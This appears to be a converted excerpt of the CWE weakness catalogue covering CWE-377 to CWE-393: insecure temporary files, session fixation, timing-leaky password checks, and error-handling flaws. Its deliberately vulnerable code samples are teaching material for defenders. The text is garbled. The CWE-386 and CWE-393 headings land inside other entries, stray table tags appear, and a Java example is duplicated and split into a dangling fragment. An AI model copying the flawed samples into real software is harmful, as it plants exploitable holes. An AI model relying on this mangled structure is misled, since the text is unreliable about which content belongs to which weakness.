This class has a private list of patients, but provides a way to see the list:

Java Example:

```
public class ClinicalTrial {
    private PatientClass[] patientList = new PatientClass[50];
    public getPatients(...){
        return patientList;
    }
}
```

While this code only means to allow reading of the patient list, the getPatients() method returns a reference to the class's original patient list instead of a reference to a copy of the list. Any caller of this method can arbitrarily modify the contents of the patient list even though it is a private member of the class.

Potential Mitigations
Implementation
Declare returned data which should not be altered as constant or immutable.

Implementation
Clone all mutable data before returning references to it. This is the preferred mitigation. This way, regardless of what changes are made to the data, a valid copy is retained for use by the class.

CWE-377: Insecure Temporary File

Weakness ID: 377 (Weakness Base)  Status: Incomplete

Description

Summary
Creating and using insecure temporary files can leave application and system data vulnerable to attack.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms

Languages
• All

Common Consequences
Confidentiality
Integrity
Read files or directories
Modify files or directories

Demonstrative Examples
The following code uses a temporary file for storing intermediate data gathered from the network before it is processed.

C Example:

```c
if (tmpnam_r(filename)) {
    FILE* tmp = fopen(filename,"wb+");
    while((recv(sock,recvbuf,DATA_SIZE, 0) > 0) && (amt!=0)) {amt = fwrite(recvbuf,1,DATA_SIZE,tmp);
}
...```

This otherwise unremarkable code is vulnerable to a number of different attacks because it relies on an insecure method for creating temporary files. The vulnerabilities introduced by this function and others are described in the following sections. The most egregious security problems related to temporary file creation have occurred on Unix-based operating systems, but Windows applications have parallel risks. This section includes a discussion of temporary file creation on both Unix and Windows systems. Methods and behaviors can vary between systems, but the fundamental risks introduced by each are reasonably constant.

Other Notes
Applications require temporary files so frequently that many different mechanisms exist for creating them in the C Library and Windows(R) API. Most of these functions are vulnerable to various forms of attacks.

The functions designed to aid in the creation of temporary files can be broken into two groups based whether they simply provide a filename or actually open a new file. - Group 1: “Unique” Filenames: The first group of C Library and WinAPI functions designed to help with the process of creating temporary files do so by generating a unique file name for a new temporary file, which the program is then supposed to open. This group includes C Library functions like tmpnam(), tempnam(), mktemp() and their C++ equivalents prefaced with an _ (underscore) as well as the GetTempFileName() function from the Windows API. This group of functions suffers from an underlying race condition on the filename chosen. Although the functions guarantee that the filename is unique at the time it is selected, there is no mechanism to prevent another process or
an attacker from creating a file with the same name after it is selected but before the application attempts to open the file. Beyond the risk of a legitimate collision caused by another call to the same function, there is a high probability that an attacker will be able to create a malicious collision because the filenames generated by these functions are not sufficiently randomized to make them difficult to guess. If a file with the selected name is created, then depending on how the file is opened the existing contents or access permissions of the file may remain intact. If the existing contents of the file are malicious in nature, an attacker may be able to inject dangerous data into the application when it reads data back from the temporary file. If an attacker pre-creates the file with relaxed access permissions, then data stored in the temporary file by the application may be accessed, modified or corrupted by an attacker. On Unix based systems an even more insidious attack is possible if the attacker pre-creates the file as a link to another important file. Then, if the application truncates or writes data to the file, it may unwittingly perform damaging operations for the attacker. This is an especially serious threat if the program operates with elevated permissions. Finally, in the best case the file will be opened with the a call to open() using the O_CREAT and O_EXCL flags or to CreateFile() using the CREATE_NEW attribute, which will fail if the file already exists and therefore prevent the types of attacks described above. However, if an attacker is able to accurately predict a sequence of temporary file names, then the application may be prevented from opening necessary temporary storage causing a denial of service (DoS) attack. This type of attack would not be difficult to mount given the small amount of randomness used in the selection of the filenames generated by these functions. - Group 2: "Unique" Files: The second group of C Library functions attempts to resolve some of the security problems related to temporary files by not only generating a unique file name, but also opening the file. This group includes C Library functions like tmpfile() and its C++ equivalents prefaced with an _ (underscore), as well as the slightly better-behaved C Library function mkstemp(). The tmpfile() style functions construct a unique filename and open it in the same way that fopen() would if passed the flags "wb+", that is, as a binary file in read/write mode. If the file already exists, tmpfile() will truncate it to size zero, possibly in an attempt to assuage the security concerns mentioned earlier regarding the race condition that exists between the selection of a supposedly unique filename and the subsequent opening of the selected file. However, this behavior clearly does not solve the function's security problems. First, an attacker can pre-create the file with relaxed access-permissions that will likely be retained by the file opened by tmpfile(). Furthermore, on Unix based systems if the attacker pre-creates the file as a link to another important file, the application may use its possibly elevated permissions to truncate that file, thereby doing damage on behalf of the attacker. Finally, if tmpfile() does create a new file, the access permissions applied to that file will vary from one operating system to another, which can leave application data vulnerable even if an attacker is unable to predict the filename to be used in advance. Finally, mkstemp() is a reasonably safe way create temporary files. It will attempt to create and open a unique file based on a filename template provided by the user combined with a series of randomly generated characters. If it is unable to create such a file, it will fail and return -1. On modern systems the file is opened using mode 0600, which means the file will be secure from tampering unless the user explicitly changes its access permissions. However, mkstemp() still suffers from the use of predictable file names and can leave an application vulnerable to denial of service attacks if an attacker causes mkstemp() to fail by predicting and pre-creating the filenames to be used.

CWE-378: Creation of Temporary File With Insecure Permissions

**Weakness ID:** 378 *(Weakness Base)* **Status:** Draft

**Description**

**Summary**

Opening temporary files without appropriate measures or controls can leave the file, its contents and any function that it impacts vulnerable to attack.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

Confidentiality

**Read application data**

If the temporary file can be read by the attacker, sensitive information may be in that file which could be revealed.

Authorization

Other

Other

If that file can be written to by the attacker, the file might be moved into a place to which the attacker does not have access. This will allow the attacker to gain selective resource access-control privileges.

Integrity

Other

Other

Depending on the data stored in the temporary file, there is the potential for an attacker to gain an additional input vector which is trusted as non-malicious. It may be possible to make arbitrary changes to data structures, user information, or even process ownership.

**Likelihood of Exploit**

High

**Demonstrative Examples**

In the following code examples a temporary file is created and written to and after using the temporary file the file is closed and deleted from the file system.

**C/C++ Example:**

```
FILE *stream;
if( (stream = tmpfile()) == NULL ) {
    perror("Could not open new temporary file\n");
    return (-1);
}
// write data to tmp file
```
However, within this C/C++ code the method tmpfile() is used to create and open the temp file. The tmpfile() method works the same way as the fopen() method would with read/write permission, allowing attackers to read potentially sensitive information contained in the temp file or modify the contents of the file.

**Java Example:**

```java
try {
    File temp = File.createTempFile("pattern", ".suffix");
    temp.deleteOnExit();
    BufferedWriter out = new BufferedWriter(new FileWriter(temp));
    out.write("aString");
    out.close();
} catch (IOException e) {
}
```

Similarly, the createTempFile() method used in the Java code creates a temp file that may be readable and writable to all users.

Additionally both methods used above place the file into a default directory. On UNIX systems the default directory is usually "/tmp" or "/var/tmp" and on Windows systems the default directory is usually "C:\Windows\Temp", which may be easily accessible to attackers, possibly enabling them to read and modify the contents of the temp file.

**Potential Mitigations**

**Requirements**
Many contemporary languages have functions which properly handle this condition. Older C temp file functions are especially susceptible.

**Implementation**
Ensure that you use proper file permissions. This can be achieved by using a safe temp file function. Temporary files should be writable and readable only by the process that owns the file.

**Implementation**
Randomize temporary file names. This can also be achieved by using a safe temp-file function. This will ensure that temporary files will not be created in predictable places.

**CWE-379: Creation of Temporary File in Directory with Incorrect Permissions**

**Weakness ID: 379 (Weakness Base)**

**Status: Incomplete**

**Description**

**Summary**
The software creates a temporary file in a directory whose permissions allow unintended actors to determine the file’s existence or otherwise access that file.

**Extended Description**
On some operating systems, the fact that the temporary file exists may be apparent to any user with sufficient privileges to access that directory. Since the file is visible, the application that is using the temporary file could be known. If one has access to list the processes on the system,
the attacker has gained information about what the user is doing at that time. By correlating this with the applications the user is running, an attacker could potentially discover what a user’s actions are. From this, higher levels of security could be breached.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- All

**Common Consequences**

**Confidentiality**

**Read application data**

Since the file is visible and the application which is using the temp file could be known, the attacker has gained information about what the user is doing at that time.

**Likelihood of Exploit**

Low

**Demonstrative Examples**

In the following code examples a temporary file is created and written to and after using the temporary file the file is closed and deleted from the file system.

### C/C++ Example:

```c
FILE *stream;
if ( (stream = tmpfile()) == NULL ) {
    perror("Could not open new temporary file\n");
    return (-1);
}
// write data to tmp file
...
// remove tmp file
rmtmp();
```

However, within this C/C++ code the method tmpfile() is used to create and open the temp file. The tmpfile() method works the same way as the fopen() method would with read/write permission, allowing attackers to read potentially sensitive information contained in the temp file or modify the contents of the file.

### Java Example:

```java
try {
    File temp = File.createTempFile("pattern", ".suffix");
    temp.deleteOnExit();
    BufferedWriter out = new BufferedWriter(new FileWriter(temp));
    out.write("aString");
    out.close();
} catch (IOException e) {
}
```

Similarly, the createTempFile() method used in the Java code creates a temp file that may be readable and writable to all users.

Additionally both methods used above place the file into a default directory. On UNIX systems the default directory is usually "/tmp" or "/var/tmp" and on Windows systems the default directory is usually "C:\Windows\Temp", which may be easily accessible to attackers, possibly enabling them to read and modify the contents of the temp file.

**Potential Mitigations**

**Requirements**

Many contemporary languages have functions which properly handle this condition. Older C temp file functions are especially susceptible.
Implementation
Try to store sensitive tempfiles in a directory which is not world readable -- i.e., per-user directories.

Implementation
Avoid using vulnerable temp file functions.

CWE-382: J2EE Bad Practices: Use of System.exit()

Weakness ID: 382 (Weakness Variant)  Status: Draft
Description

Summary
A J2EE application uses System.exit(), which also shuts down its container.

Extended Description
It is never a good idea for a web application to attempt to shut down the application container. Access to a function that can shut down the application is an avenue for Denial of Service (DoS) attacks.

Time of Introduction
• Implementation

Applicable Platforms

Languages
• Java

Modes of Introduction
A call to System.exit() is probably part of leftover debug code or code imported from a non-J2EE application.

Common Consequences

Availability
DoS: crash / exit / restart

Demonstrative Examples
Included in the doPost() method defined below is a call to System.exit() in the event of a specific exception.

Java Example:

```java
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    try {
        ...
    } catch (ApplicationSpecificException ase) {
        logger.error("Caught: "+ ase.toString());
        System.exit(1);
    }
}
```

Potential Mitigations

Architecture and Design
Separation of Privilege
The shutdown function should be a privileged function available only to a properly authorized administrative user

Implementation
Web applications should not call methods that cause the virtual machine to exit, such as System.exit()

Implementation
Web applications should also not throw any Throwables to the application server as this may adversely affect the container.

Implementation
Non-web applications may have a main() method that contains a System.exit(), but generally should not call System.exit() from other locations in the code

**CWE-383: J2EE Bad Practices: Direct Use of Threads**

**Description**

**Summary**

Thread management in a Web application is forbidden in some circumstances and is always highly error prone.

**Extended Description**

Thread management in a web application is forbidden by the J2EE standard in some circumstances and is always highly error prone. Managing threads is difficult and is likely to interfere in unpredictable ways with the behavior of the application container. Even without interfering with the container, thread management usually leads to bugs that are hard to detect and diagnose like deadlock, race conditions, and other synchronization errors.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- Java

**Common Consequences**

**Other**

Quality degradation

**Demonstrative Examples**

In the following example, a new Thread object is created and invoked directly from within the body of a `doGet()` method in a Java servlet.

**Java Example:**

```java
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    // Perform servlet tasks.
    ...
    // Create a new thread to handle background processing.
    Runnable r = new Runnable() {
        public void run() {
            // Process and store request statistics.
            ...
        }
   );
    new Thread(r).start();
}
```

**Potential Mitigations**

**Architecture and Design**

For EJB, use framework approaches for parallel execution, instead of using threads.

</tbody>
</table>
CWE-384: Session Fixation

**Description**

**Summary**

Authenticating a user, or otherwise establishing a new user session, without invalidating any existing session identifier gives an attacker the opportunity to steal authenticated sessions.

**Extended Description**

Such a scenario is commonly observed when:

1. A web application authenticates a user without first invalidating the existing session, thereby continuing to use the session already associated with the user.
2. An attacker is able to force a known session identifier on a user so that, once the user authenticates, the attacker has access to the authenticated session.
3. The application or container uses predictable session identifiers. In the generic exploit of session fixation vulnerabilities, an attacker creates a new session on a web application and records the associated session identifier. The attacker then causes the victim to associate, and possibly authenticate, against the server using that session identifier, giving the attacker access to the user's account through the active session.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

- Languages
  - All

**Common Consequences**

- Access Control
  - Gain privileges / assume identity

**Demonstrative Examples**

**Example 1:**

The following example shows a snippet of code from a J2EE web application where the application authenticates users with `LoginContext.login()` without first calling `HttpSession.invalidate()`.

**Java Example:**

```java
private void auth(LoginContext lc, HttpSession session) throws LoginException {
    ... (
        lc.login();
    ...)
}
```

In order to exploit the code above, an attacker could first create a session (perhaps by logging into the application) from a public terminal, record the session identifier assigned by the application, and reset the browser to the login page. Next, a victim sits down at the same public terminal, notices the browser open to the login page of the site, and enters credentials to authenticate against the application. The code responsible for authenticating the victim continues to use the
pre-existing session identifier, now the attacker simply uses the session identifier recorded earlier to access the victim's active session, providing nearly unrestricted access to the victim's account for the lifetime of the session. Even given a vulnerable application, the success of the specific attack described here is dependent on several factors working in the favor of the attacker: access to an unmonitored public terminal, the ability to keep the compromised session active and a victim interested in logging into the vulnerable application on the public terminal.

In most circumstances, the first two challenges are surmountable given a sufficient investment of time. Finding a victim who is both using a public terminal and interested in logging into the vulnerable application is possible as well, so long as the site is reasonably popular. The less well known the site is, the lower the odds of an interested victim using the public terminal and the lower the chance of success for the attack vector described above. The biggest challenge an attacker faces in exploiting session fixation vulnerabilities is inducing victims to authenticate against the vulnerable application using a session identifier known to the attacker.

In the example above, the attacker did this through a direct method that is not subtle and does not scale suitably for attacks involving less well-known web sites. However, do not be lulled into complacency; attackers have many tools in their belts that help bypass the limitations of this attack vector. The most common technique employed by attackers involves taking advantage of cross-site scripting or HTTP response splitting vulnerabilities in the target site [12]. By tricking the victim into submitting a malicious request to a vulnerable application that reflects JavaScript or other code back to the victim's browser, an attacker can create a cookie that will cause the victim to reuse a session identifier controlled by the attacker. It is worth noting that cookies are often tied to the top level domain associated with a given URL. If multiple applications reside on the same top level domain, such as bank.example.com and recipes.example.com, a vulnerability in one application can allow an attacker to set a cookie with a fixed session identifier that will be used in all interactions with any application on the domain example.com [29].

Example 2:
The following example shows a snippet of code from a J2EE web application where the application authenticates users with a direct post to the `<code>j_security_check</code>`, which typically does not invalidate the existing session before processing the login request.

**HTML Example:**
<bad-code>
```html
<form method="POST" action="j_security_check">
  <input type="text" name="j_username">
  <input type="text" name="j_password">
</form>
```
</bad-code>

**Potential Mitigations**

**Architecture and Design**
Invalidate any existing session identifiers prior to authorizing a new user session.

**Architecture and Design**
For platforms such as ASP that do not generate new values for sessionid cookies, utilize a secondary cookie. In this approach, set a secondary cookie on the user's browser to a random value and set a session variable to the same value. If the session variable and the cookie value ever don't match, invalidate the session, and force the user to log on again.

**Other Notes**
Other attack vectors include DNS poisoning and related network based attacks where an attacker causes the user to visit a malicious site by redirecting a request for a valid site. Network based attacks typically involve a physical presence on the victim's network or control of a compromised machine on the network, which makes them harder to exploit remotely, but their significance should not be overlooked. Less secure session management mechanisms, such as the default implementation in Apache Tomcat, allow session identifiers normally expected in a cookie to be specified on the URL as well, which enables an attacker to cause a victim to use a fixed session identifier simply by emailing a malicious URL.

CWE-385: Covert Timing Channel

**Weakness ID:** 385 *(Weakness Base)*

**Status:** Incomplete

**Description**

**Summary**

Covert timing channels convey information by modulating some aspect of system behavior over time, so that the program receiving the information can observe system behavior and infer protected information.

**Extended Description**

In some instances, knowing when data is transmitted between parties can provide a malicious user with privileged information. Also, externally monitoring the timing of operations can potentially reveal sensitive data. For example, a cryptographic operation can expose its internal state if the time it takes to perform the operation varies, based on the state.

Covert channels are frequently classified as either storage or timing channels. Some examples of covert timing channels are the system's paging rate, the time a certain transaction requires to execute, and the time it takes to gain access to a shared bus.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

- *Languages*
  - All

**Common Consequences**
CWE-386: Symbolic Name not Mapping to Correct Object

Confidentiality
Other
Read application data
Other
Information exposure.

Likelihood of Exploit
Medium

Demonstrative Examples

Python Example:

```python
def validate_password(actual_pw, typed_pw):
    if len(actual_pw) <> len(typed_pw):
        return 0
    for i in len(actual_pw):
        if actual_pw[i] <> typed_pw[i]:
            return 0
    return 1
```

Bad Code

In this example, the attacker can observe how long an authentication takes when the user types in the correct password. When the attacker tries his own values, he can first try strings of various length. When he finds a string of the right length, the computation will take a bit longer because the for loop will run at least once. Additionally, with this code, the attacker can possibly learn one character of the password at a time, because when he guesses the first character right, the computation will take longer than when he guesses wrong. Such an attack can break even the most sophisticated password with a few hundred guesses. Note that, in this example, the actual password must be handled in constant time, as far as the attacker is concerned, even if the actual password is of an unusual length. This is one reason why it is good to use an algorithm that, among other things, stores a seeded cryptographic one-way hash of the password, then compare the hashes, which will always be of the same length.

Potential Mitigations

Architecture and Design
Whenever possible, specify implementation strategies that do not introduce time variances in operations.

Implementation
Often one can artificially manipulate the time which operations take or -- when operations occur -- can remove information from the attacker.

Implementation
It is reasonable to add artificial or random delays so that the amount of CPU time consumed is independent of the action being taken by the application.

Modify application data
Other
The resource in question, or other resources (through the corrupted one) may be changed in
undesirable ways by a malicious user.

Non-Repudiation
Hide activities
If a file or other resource is written in this method, as opposed to a valid way, logging of the
activity may not occur.

Non-Repudiation
Integrity
Modify files or directories
In some cases it may be possible to delete files that a malicious user might not otherwise have
access to -- such as log files.

CWE-387: Signal Errors

Category ID: 387 (Category)  Status: Incomplete

Description

Summary
Weaknesses in this category are related to the improper handling of signals.

Applicable Platforms

Languages
- C
- C++

Observed Examples

<table>
<thead>

Maintenance Notes

Several sub-categories could exist, but this needs more study. Some sub-categories might be unhandled signals, untrusted signals, and sending the wrong signals.

CWE-388: Error Handling

Category ID: 388 (Category)  Status: Draft

Description

Summary
This category includes weaknesses that occur when an application does not properly handle errors that occur during processing.

Extended Description
An attacker may discover this type of error, as forcing these errors can occur with a variety of corrupt input.

Common Consequences
Integrity  
Confidentiality  
Read application data  
Modify files or directories  

Generally, the consequences of improper error handling are the disclosure of the internal workings of the application to the attacker, providing details to use in further attacks. Web applications that do not properly handle error conditions frequently generate error messages such as stack traces, detailed diagnostics, and other inner details of the application.

Demonstrative Examples  
In the snippet below, an unchecked runtime exception thrown from within the try block may cause the container to display its default error page (which may contain a full stack trace, among other things).

**Java Example:**

```
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    try {
        ...
    } catch (ApplicationSpecificException ase) {
        logger.error("Caught: " + ase.toString());
    }
}
```

Potential Mitigations  
Use a standard exception handling mechanism to be sure that your application properly handles all types of processing errors. All error messages sent to the user should contain as little detail as necessary to explain what happened.

If the error was caused by unexpected and likely malicious input, it may be appropriate to send the user no error message other than a simple "could not process the request" response.

The details of the error and its cause should be recorded in a detailed diagnostic log for later analysis. Do not allow the application to throw errors up to the application container, generally the web application server.

Be sure that the container is properly configured to handle errors if you choose to let any errors propagate up to it.

CWE-389: Error Conditions, Return Values, Status Codes

Category ID: 389 (Category)
Status: Incomplete

Description

Summary
If a function in a product does not generate the correct return/status codes, or if the product does not handle all possible return/status codes that could be generated by a function, then security issues may result.

Extended Description
This type of problem is most often found in conditions that are rarely encountered during the normal operation of the product. Presumably, most bugs related to common conditions are found and eliminated during development and testing. In some cases, the attacker can directly control or influence the environment to trigger the rare conditions.

Research Gaps
Many researchers focus on the resultant weaknesses and do not necessarily diagnose whether a rare condition is the primary factor. However, since 2005 it seems to be reported more frequently than in the past. This subject needs more study.

CWE-390: Detection of Error Condition Without Action

Weakness ID: 390 (Weakness Class)

Description

Summary
The software detects a specific error, but takes no actions to handle the error.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms

Languages
- All

Common Consequences

Integrity
Other
Varies by context
Unexpected state
Alter execution logic
An attacker could utilize an ignored error condition to place the system in an unexpected state that could lead to the execution of unintended logic and could cause other unintended behavior.

Likelihood of Exploit
Medium

Demonstrative Examples

Example 1:
The following example attempts to allocate memory for a character. After the call to malloc, an if statement is used to check whether the malloc function failed.

C Example: Bad Code

```c
foo=malloc(sizeof(char)); //the next line checks to see if malloc failed
if (foo==NULL) {
  //We do nothing so we just ignore the error.
}
```

The conditional successfully detects a NULL return value from malloc indicating a failure, however it does not do anything to handle the problem. Unhandled errors may have unexpected results and may cause the program to crash or terminate.

Instead, the if block should contain statements that either attempt to fix the problem or notify the user that an error has occurred and continue processing or perform some cleanup and gracefully terminate the program. The following example notifies the user that the malloc function did not allocate the required memory resources and returns an error code.

C Example: Good Code

```c
foo=malloc(sizeof(char)); //the next line checks to see if malloc failed
if (foo==NULL) {
  printf("Malloc failed to allocate memory resources");
  return -1;
}
```

Example 2:
In the following C++ example the method readFile() will read the file whose name is provided in the input parameter and will return the contents of the file in char string. The method calls open() and read() may result in errors if the file does not exist or does not contain any data to read. These errors will be thrown when the is_open() method and good() method indicate errors opening or reading the file. However, these errors are not handled within the catch statement. Catch statements that do not perform any processing will have unexpected results. In this case an empty char string will be returned, and the file will not be properly closed.
C++ Example:

```c++
char* readFile (char *filename) {
    try {
        // open input file
        ifstream infile;
        infile.open(filename);
        if (!infile.is_open()) {
            throw "Unable to open file " + filename;
        }
        // get length of file
        infile.seekg (0, ios::end);
        int length = infile.tellg();
        infile.seekg (0, ios::beg);
        // allocate memory
        char *buffer = new char [length];
        // read data from file
        infile.read (buffer,length);
        if (!infile.good()) {
            throw "Unable to read from file " + filename;
        }
        infile.close();
        return buffer;
    }
    catch (...) {
        /* bug: insert code to handle this later */
    }
}
```

The catch statement should contain statements that either attempt to fix the problem or notify the user that an error has occurred and continue processing or perform some cleanup and gracefully terminate the program. The following C++ example contains two catch statements. The first of these will catch a specific error thrown within the try block, and the second catch statement will catch all other errors from within the catch block. Both catch statements will notify the user that an error has occurred, close the file, and rethrow to the block that called the readFile() method for further handling or possible termination of the program.

C++ Example:

```c++
char* readFile (char *filename) {
    try {
        // open input file
        ifstream infile;
        infile.open(filename);
        if (!infile.is_open()) {
            throw "Unable to open file " + filename;
        }
        // get length of file
        infile.seekg (0, ios::end);
        int length = infile.tellg();
        infile.seekg (0, ios::beg);
        // allocate memory
        char *buffer = new char [length];
        // read data from file
        infile.read (buffer,length);
        if (!infile.good()) {
            throw "Unable to read from file " + filename;
        }
        infile.close();
        return buffer;
    }
    catch (char *str) {
        printf("Error: %s \n", str);
        infile.close();
        throw str;
    }
    catch (...) {
        printf("Error occurred trying to read from file \n");
        infile.close();
    }
}
```
Example 3:
In the following Java example the method readFile will read the file whose name is provided in the input parameter and will return the contents of the file in a String object. The constructor of the FileReader object and the read method call may throw exceptions and therefore must be within a try/catch block. While the catch statement in this example will catch thrown exceptions in order for the method to compile, no processing is performed to handle the thrown exceptions. Catch statements that do not perform any processing will have unexpected results. In this case, this will result in the return of a null String.

Java Example:

```java
public String readFile(String filename) {
    String retString = null;
    try {
        // initialize File and FileReader objects
        File file = new File(filename);
        FileReader fr = new FileReader(file);
        // initialize character buffer
        long fLen = file.length();
        char[] cBuf = new char[(int) fLen];
        // read data from file
        int iRead = fr.read(cBuf, 0, (int) fLen);
        // close file
        fr.close();
        retString = new String(cBuf);
    } catch (Exception ex) {
        /* do nothing, but catch so it'll compile... */
    }
    return retString;
}
```

The catch statement should contain statements that either attempt to fix the problem, notify the user that an exception has been raised and continue processing, or perform some cleanup and gracefully terminate the program. The following Java example contains three catch statements. The first of these will catch the FileNotFoundException that may be thrown by the FileReader constructor called within the try/catch block. The second catch statement will catch the IOException that may be thrown by the read method called within the try/catch block. The third catch statement will catch all other exceptions thrown within the try block. For all catch statements the user is notified that the exception has been thrown and the exception is rethrown to the block that called the readFile() method for further processing or possible termination of the program. Note that with Java it is usually good practice to use the getMessage() method of the exception class to provide more information to the user about the exception raised.

Java Example:

```java
public String readFile(String filename) throws FileNotFoundException, IOException, Exception {
    String retString = null;
    try {
        // initialize File and FileReader objects
        File file = new File(filename);
        FileReader fr = new FileReader(file);
        // initialize character buffer
        long fLen = file.length();
        char[] cBuf = new char[(int) fLen];
        // read data from file
        int iRead = fr.read(cBuf, 0, (int) fLen);
        // close file
        fr.close();
        retString = new String(cBuf);
    } catch (FileNotFoundException ex) {
        System.err.println("Error: FileNotFoundException opening the input file: " + filename);
        throw new FileNotFoundException(ex.getMessage());
    }
    return retString;
}
```

```java
public String readFile(String filename) throws FileNotFoundException, IOException, Exception {
    String retString = null;
    try {
        //initialize File and FileReader objects
        File file = new File(filename);
        FileReader fr = new FileReader(file);
        //initialize character buffer
        long fLen = file.length();
        char[] cBuf = new char[(int) fLen];
        //read data from file
        int iRead = fr.read(cBuf, 0, (int) fLen);
        //close file
        fr.close();
        retString = new String(cBuf);
    } catch (FileNotFoundException ex) {
        System.err.println("Error: FileNotFoundException opening the input file: " + filename);
        System.err.println("" + ex.getMessage());
        throw new FileNotFoundException(ex.getMessage());
    }
    return retString;
}
```
catch (IOException ex) {
    System.err.println("Error: IOException reading the input file.\n" + ex.getMessage() );
    throw new IOException(ex);
} catch (Exception ex) {
    System.err.println("Error: Exception reading the input file.\n" + ex.getMessage() );
    throw new Exception(ex);
}
return retString;

Potential Mitigations

Implementation

Properly handle each exception. This is the recommended solution. Ensure that all exceptions are handled in such a way that you can be sure of the state of your system at any given moment.

Testing

Subject the software to extensive testing to discover some of the possible instances of where/how errors or return values are not handled. Consider testing techniques such as ad hoc, equivalence partitioning, robustness and fault tolerance, mutation, and fuzzing.

References

CWE-391: Unchecked Error Condition

Weakness ID: 391 (Weakness Base) Status: Incomplete

Description

Summary
Ignoring exceptions and other error conditions may allow an attacker to induce unexpected behavior unnoticed.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms

Languages
- All

Common Consequences
- Integrity
- Other
- Varies by context
- Unexpected state
- Alter execution logic

Likelihood of Exploit
- Medium

Demonstrative Examples

The following code excerpt ignores a rarely-thrown exception from doExchange().

Java Example:

```java
try {
    doExchange();
} catch (RareException e) {
    // this can never happen
}
```

If a RareException were to ever be thrown, the program would continue to execute as though nothing unusual had occurred. The program records no evidence indicating the special situation, potentially frustrating any later attempt to explain the program's behavior.

Potential Mitigations

Requirements
The choice between a language which has named or unnamed exceptions needs to be done. While unnamed exceptions exacerbate the chance of not properly dealing with an exception, named exceptions suffer from the up call version of the weak base class problem.

Requirements
A language can be used which requires, at compile time, to catch all serious exceptions. However, one must make sure to use the most current version of the API as new exceptions could be added.

Implementation
Catch all relevant exceptions. This is the recommended solution. Ensure that all exceptions are handled in such a way that you can be sure of the state of your system at any given moment.

Other Notes
When a programmer ignores an exception, they implicitly state that they are operating under one of two assumptions:
- This method call can never fail.
- It doesn't matter if this call fails.

## White Box Definitions

A weakness where code path has:
1. start statement that changes a state of the system resource
2. end statement that accesses the system resource, where the changed and the assumed state of the system resource are not equal.
3. the state of the resource is not compatible with the type of access being performed by the end statement

## Maintenance Notes

This entry needs significant modification. It currently combines information from three different taxonomies, but each taxonomy is talking about a slightly different issue.

## CWE-392: Missing Report of Error Condition

**Weakness ID:** 392 *(Weakness Base)*  
**Status:** Draft

### Description

**Summary**

The software encounters an error but does not provide a status code or return value to indicate that an error has occurred.

### Time of Introduction
CWE-393: Return of Wrong Status Code

- Architecture and Design
- Implementation

Applicable Platforms

Languages
- All

Common Consequences

Integrity
Other
Varies by context
Unexpected state
Errors that are not properly reported could place the system in an unexpected state that could lead to unintended behaviors.

Demonstrative Examples
In the following snippet from a doPost() servlet method, the server returns "200 OK" (default) even if an error occurs.

**Java Example:**

```java
try {
    // Something that may throw an exception.
    ...
} catch (Throwable t) {
    logger.error("Caught: "+t.toString());
    return;
}
```

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0499</td>
<td>Kernel function truncates long pathnames without generating an error, leading to operation on wrong directory.</td>
</tr>
<tr>
<td>CVE-2002-1446</td>
<td>Error checking routine in PKCS#11 library returns &quot;OK&quot; status even when invalid signature is detected, allowing spoofed messages.</td>
</tr>
<tr>
<td>CVE-2004-0063</td>
<td>Function returns &quot;OK&quot; even if another function returns a different status code than expected, leading to accepting an invalid PIN number.</td>
</tr>
<tr>
<td>CVE-2005-2459</td>
<td>Function returns non-error value when a particular erroneous condition is encountered, leading to resultant NULL dereference.</td>
</tr>
</tbody>
</table>

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)
Resultant (where the weakness is typically related to the presence of some other weaknesses)

CWE-393: Return of Wrong Status Code

<table>
<thead>
<tr>
<th>Weakness ID: 393 (Weakness Base)</th>
<th>Status: Draft</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td></td>
</tr>
<tr>
<td>Summary</td>
<td></td>
</tr>
</tbody>
</table>
A function or operation returns an incorrect return value or status code that does not indicate an error, but causes the product to modify its behavior based on the incorrect result.

**Extended Description**
This can lead to unpredictable behavior. If the function is used to make security-critical decisions or provide security-critical information, then the wrong status code can cause the software to assume that an action is safe, even when it is not.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- All

**Common Consequences**
- Integrity
- Other
- Unexpected state
- Alter execution logic
  
  This weakness could place the system in a state that could lead unexpected logic to be executed or other unintended behaviors.

**Demonstrative Examples**
In the following example, an HTTP 404 status code is returned in the event of an IOException encountered in a Java servlet. A 404 code is typically meant to indicate a non-existent resource and would be somewhat misleading in this case.

**Java Example:**
```
try {
    // something that might throw IOException
    ...
} catch (IOException ioe) {
    response.sendError(SC_NOT_FOUND);
}
```

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-1509</td>
<td>Hardware-specific implementation of system call causes incorrect results from geteuid.</td>
</tr>
<tr>
<td>CVE-2001-1559</td>
<td>System call returns wrong value, leading to a resultant NULL dereference.</td>
</tr>
<tr>
<td>CVE-2003-1132</td>
<td>DNS server returns wrong response code for non-existent AAAA record, which effectively says that the domain is inaccessible.</td>
</tr>
<tr>
<td>CVE-2014-1266</td>
<td>chain: incorrect &quot;goto&quot; in Apple SSL product bypasses certificate validation, allowing man-in-the-middle attack (Apple &quot;goto fail&quot; bug). CWE-705 (Incorrect Control Flow Scoping) -&gt; CWE-561 (Dead Code) -&gt; CWE-295 (Improper Certificate Validation) -&gt; CWE-393 (Return of Wrong Status Code) -&gt; CWE-300 (Channel Accessible by Non-Endpoint ('Man-in-the-Middle')).</td>
</tr>
</tbody>
</table>

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
